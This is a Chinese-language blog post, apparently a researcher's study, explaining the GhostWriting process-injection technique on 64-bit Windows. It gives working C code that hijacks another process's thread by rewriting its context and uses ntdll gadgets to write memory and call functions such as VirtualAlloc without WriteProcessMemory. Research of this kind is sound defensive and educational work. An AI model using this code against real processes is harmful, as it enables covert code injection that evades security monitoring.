浅析GhostWriting/线程注入

在看雪看到dayday向上8师傅的文章来自2007年的鬼写注入,发现这个技术c0de90e7/GhostWriting有区别于普通的注入技术。

GhostWriting不使用 OpenProcess -> VirtualAllocEx -> WriteProcessMemory -> CreateRemoteThread 这一经典注入流程,而是启发性的操作目标线程配合Gadget技术来达到执行的目的。

故也来研究一番,代码仅为研究,部分功能略写,下文仅做观后感。

文笔不佳,如有错误,敬请指正。

0x00 一个开始

对于一个在运行中的进程来说,我们需要关注的点就是代码执行到的位置(EIP)和当前的堆栈环境(ESP),值得提一嘴的是线程切换的本质就是ESP的切换。

而对于每一个线程的执行的情况,又有上下文结构CONTEXT来描述。

我们使用SuspendThread函数挂起线程后,可以对其使用GetThreadContext/SetThreadContext函数来获取/设置挂起时的线程上下文环境。

我们可以修改再设置获取到的上下文环境,然后使用ResumeThread函数使得线程根据我们设置的上下文环境继续运行。

而这就是GhostWriting的核心思想:通过修改线程上下文的方式来劫持目标线程。

0x01 逐个击破

我们的目标是让其他线程执行我们想要执行的功能或者ShellCode。

由于Windows的内存管理机制,R3进程之间的内存并不共享,线程操作的内存则是依附在进程的内存。

所以我们如果想要目标线程执行我们的ShellCode,不能直接修改EIP指向我们ShellCode的地址,而是得写入到目标进程,且不使用WriteProcessMemory 类似功能的函数。所以我们就得让目标线程去执行类似于MOV [dstREG],srcREG 这种指令。

Tips: 由于SetContext之后ResumeThread线程,有些易变寄存器是不能修改成功的,测试下来有如下寄存器可以使用:

​ RBX RBP RSI RDI R9 R12 R13 R14 R15

如何寻找这种指令?

众所周知,进程在加载的时候都会加载一批系统DLL,例如ntdll.dll kernel32.dll,虽然R3内存不共享,但是这些系统DLL却是用同一份代码,映射的同一个物理页。所以我们可以寻找DLL里存在的指令。当线程执行MOV指令后,就能写到目标进程的内存空间。

这里我们以ntdll.dll举例,搜索mov [rdi],rsi 指令。

image-20230810133805384

打开发现命令位于函数中部,那么问题又来了,修改上下文EIP寄存器去指向MOV指令的地址后,不可避免的会执行下面剩余的代码。为了避免执行多余代码对于目标造成的影响,我们尽可能找到位于函数末尾的指令。而函数的末尾,不可避免的会进行堆栈的平衡,retn指令也会影响堆栈,不过我们只需要在修改上下文的时候同时将ESP减去相应的值就可以让堆栈平衡。

但是问题又来了,retn也会改变EIP,会让程序跑飞。为了避免这个问题最好让ret的返回地址是安全且可知的,这样才能在我们自己的进程中监控到这一目的行为。最简单的方式就跳转到一个死锁的位置,例如JMP SELF,这里直接搜其硬编码EB FE即可。

那就第一次得先执行一次写入,把自锁地址写入堆栈,就完成了整个前提条件的准备。

而这又能解决下一个问题,就是执行时机的问题。

我们定时挂起线程检查EIP是否执行到自锁的位置就能知道这一次的写入是否完成。

综上所述,我们解决了两个问题:

  1. 通过Gadget将我们预期的数据写入目标进程预期的位置
  2. 判断写入是否完成

而这两个也是最核心的问题。

0x02 一一构建

系统环境:Windows 10 企业版 LTSC 21H2 64bit

编译环境:

​ - Microsoft Visual Studio Professional 2019 版本 16.11.27

​ - Visual Studio 2019 (v142)

​ - SDK 10.0

目标进程:自写死循环的控制台进程

0x03 简易演示

方便查找均使用导出函数。

Gadget指令:

1
2
3
4
5
6
RtlInitializeGenericTableAvl + 0X4D
48 89 7E 50 mov [rsi+50h], rdi # 通过rdi和rsi写入shellcode,注意在设计写入地址的时候要注意减去0x50。
48 8B 74 24 40 mov rsi, [rsp+28h+arg_10]
48 83 C4 20 add rsp, 20h
5F pop rdi
C3 retn

自锁指令:

1
RtlIpv6StringToAddressExW + 0x1BB

核心功能代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
VOID GwExecuteGadget(IN LPHANDLE lpThreadHandle, IN LPCONTEXT lpContext,IN DWORD64 qwJmpSelf)
{
CONTEXT ctCurrentContext = { 0 };
ctCurrentContext.ContextFlags = CONTEXT_FULL;

GwResumeThread(lpThreadHandle, lpContext);

while (1)
{
Sleep(30);
GwSuspendThreadByHandle(lpThreadHandle, &ctCurrentContext);
if (ctCurrentContext.Rip == (DWORD64)qwJmpSelf) //判断Gadget是否执行完成
{
break;
}
ResumeThread(*lpThreadHandle);
}
}

关键测试代码:

这里我只给出第一次写返回地址的代码,写其他数据也同理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
typedef enum emRefgister64
{
HEAD = 14,
RAX,
RCX,
RDX,
RBX,
RSP,
RBP,
RSI,
RDI,
R8,
R9,
R10,
R11,
R12,
R13,
R14,
R15,
RIP
}EMRG64;

typedef struct stGadgetInfo
{
EMRG64 SrcRegister; //存储写入数据的寄存器
EMRG64 DstRegister; //存储写入地址的寄存器
DWORD RegisterOffset; //存储地址的寄存器的偏移值
DWORD dwPreStackSize; //提升堆栈大小
DWORD64 qwGadgetAddress; //Gadget指令的地址
DWORD64 qwAutoLockAddress; //自锁指令地址
}GGIF, *PGGIF;

//...
//初始化
GGIF ggGadgetInfo = { 0 };
ggGadgetInfo.SrcRegister = RDI;
ggGadgetInfo.DstRegister = RSI;
ggGadgetInfo.dwPreStackSize = 0x28;
ggGadgetInfo.RegisterOffset = 50;
//...

VOID GwWriteReturnAddress(IN LPHANDLE lpThreadHandle, IN PGGIF pGadgetInfo)
{
CONTEXT ctTmp = { 0 };
ctTmp.ContextFlags = CONTEXT_FULL;
GetThreadContext(*lpThreadHandle, &ctTmp);

ctTmp.Rsp -= (DWORD64)pGadgetInfo->dwPreStackSize + 8;
ctTmp.Rip = pGadgetInfo->qwGadgetAddress;
//使用数组遍历的方式为寄存器赋值
((PDWORD64)&ctTmp)[pGadgetInfo->SrcRegister] = pGadgetInfo->qwAutoLockAddress;
((PDWORD64)&ctTmp)[pGadgetInfo->DstRegister] = ctTmp.Rsp + pGadgetInfo->dwPreStackSize - pGadgetInfo->RegisterOffset;

GwExecuteGadget(lpThreadHandle, &ctTmp, pGadgetInfo->qwAutoLockAddress);
}

image-20230810142515748

RSP: 0x000000eab74ffc28

RDI: 0x00007ff8208ddd1b(SelfLock)

RSI:0x000000eab74ffc00

RIP:0x00007ff82094de29(Gadget)、

放过去之后成功断下来

image-20230810142551917

image-20230810142630752

已然写入成功。

2024/04/17 更新

在上面写入的基础上再进一步深入,让线程执行我们需要的函数,例如VirtualAlloc,并且获取返回值。

具体思路就是对于堆栈的设计,把预计执行的函数地址放在RSP-8的位置,再把预期的堆栈整体上抬。

这里会出现一个幺蛾子,在VirtualAlloc的执行过程中,会修改到Rbp+8和Rbp+0x10的位置,如果还是紧接着原本函数堆栈进行提升的话,程序的原始堆栈会遭到破坏,所以最好预留出足够的堆栈空间。

部分代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
typedef struct stGadgetInfo
{
EMRG64 SrcRegister; //存储写入数据的寄存器
EMRG64 DstRegister; //存储写入地址的寄存器
DWORD RegisterOffset; //存储地址的寄存器的偏移值
DWORD dwPreStackSize; //提升堆栈大小
DWORD64 dwExtStackSize; //额外提升的大小
DWORD64 qwGadgetAddress; //Gadget指令的地址
DWORD64 qwAutoLockAddress; //自锁指令地址
}GGIF, *PGGIF;

VOID GwExecuteGadget(IN LPHANDLE lpThreadHandle, IN LPCONTEXT lpContext, IN DWORD64 qwJmpSelf, IN BOOL isHaveRetValue, OUT PDWORD64 pRetValue)
{
CONTEXT ctCurrentContext = { 0 };
ctCurrentContext.ContextFlags = CONTEXT_FULL;

GwResumeThread(lpThreadHandle, lpContext);

while (1)
{
Sleep(30);
GwSuspendThreadByHandle(lpThreadHandle, &ctCurrentContext);
if (ctCurrentContext.Rip == (DWORD64)qwJmpSelf)
{
break;
}
ResumeThread(*lpThreadHandle);
}

if (isHaveRetValue)
{
*pRetValue = ctCurrentContext.Rax;
}
}

DWORD64 GwWriteReturnAddress(IN LPHANDLE lpThreadHandle, IN PGGIF pGadgetInfo, IN DWORD dwFuncArgc, IN PDWORD64 pArg, IN DWORD64 pCallFuncAddress)
{
CONTEXT ctTmp = { 0 };
ctTmp.ContextFlags = CONTEXT_FULL;
GetThreadContext(*lpThreadHandle, &ctTmp);

ctTmp.Rsp -= (DWORD64)pGadgetInfo->dwPreStackSize + (DWORD64)pGadgetInfo->dwExtStackSize;
ctTmp.Rip = pGadgetInfo->qwGadgetAddress;
((PDWORD64)&ctTmp)[pGadgetInfo->SrcRegister] = pGadgetInfo->qwAutoLockAddress;
((PDWORD64)&ctTmp)[pGadgetInfo->DstRegister] = ctTmp.Rsp + pGadgetInfo->dwPreStackSize - pGadgetInfo->RegisterOffset;

GwExecuteGadget(lpThreadHandle, &ctTmp, pGadgetInfo->qwAutoLockAddress, FALSE, 0);

if (dwFuncArgc != 0)
{
//拷贝函数地址
((PDWORD64)&ctTmp)[pGadgetInfo->SrcRegister] = pCallFuncAddress;
((PDWORD64)&ctTmp)[pGadgetInfo->DstRegister] = ((ctTmp.Rsp + pGadgetInfo->dwPreStackSize - pGadgetInfo->RegisterOffset) - 8);
GwExecuteGadget(lpThreadHandle, &ctTmp, pGadgetInfo->qwAutoLockAddress, FALSE, 0);

//push传参
//拷贝函数参数
for (DWORD i = 1; i <= (dwFuncArgc - 4); i++)
{
((PDWORD64)&ctTmp)[pGadgetInfo->SrcRegister] = *(pArg + dwFuncArgc - i);
((PDWORD64)&ctTmp)[pGadgetInfo->DstRegister] = ((ctTmp.Rsp + pGadgetInfo->dwPreStackSize - pGadgetInfo->RegisterOffset) - ((i + 1) << 3));

GwExecuteGadget(lpThreadHandle, &ctTmp, pGadgetInfo->qwAutoLockAddress, FALSE, 0);
}

//寄存器传参
//参数设置寄存器
ctTmp.R9 = *(pArg + 3);
ctTmp.R8 = *(pArg + 2);
ctTmp.Rdx = *(pArg + 1);
ctTmp.Rcx = *(pArg + 0);

//执行函数,获取返回值
DWORD64 qwRetValue = 0;
ctTmp.Rsp -= 0x8;
((PDWORD64)&ctTmp)[pGadgetInfo->DstRegister] = (ctTmp.Rsp + pGadgetInfo->dwPreStackSize - pGadgetInfo->RegisterOffset);
GwExecuteGadget(lpThreadHandle, &ctTmp, pGadgetInfo->qwAutoLockAddress, TRUE, &qwRetValue);

return qwRetValue;
}

image-20240417162445491

成功申请了

完整代码:GhostWrite.zip

如果你要对GUI程序进行劫持,那就得向程序发送信息后再恢复线程


浅析GhostWriting/线程注入
http://rootk1t.com/2023/08/10/浅析GhostWriting_线程注入/
作者
Sunr
发布于
2023年8月10日
许可协议